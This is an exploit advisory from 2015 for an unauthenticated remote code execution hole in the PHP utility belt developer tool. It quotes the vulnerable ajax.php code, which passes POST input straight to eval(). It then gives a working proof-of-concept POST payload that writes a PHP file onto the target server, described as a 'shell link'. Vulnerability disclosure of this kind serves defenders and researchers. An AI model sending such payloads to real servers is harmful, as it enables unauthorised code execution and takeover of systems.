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PHP Utility Belt Remote Code Execution

Posted on 09 December 2015

Exploit Title : PHP utility belt Remote Code Execution vulnerability
Author : WICS
Date : 8/12/2015
Software Link : https://github.com/mboynes/php-utility-belt

Overview:

PHP utility belt is a set of tools for PHP developers. Install in a browser-accessible directory and have at it.
ajax.php is accessible without any authentication

Vulnerable code (Line number 12 to 15)

if ( isset( $_POST['code'] ) ) {
 if ( false === eval( $_POST['code'] ) )
 echo 'PHP Error encountered, execution halted';
}

POC
Access URL
http://127.0.0.1/php-utility-belt/ajax.php
in Post data type
code=fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');

above code will generate info.php file which will display php info
Shell link will be
http://127.0.0.1/php-utility-belt/info.php

 

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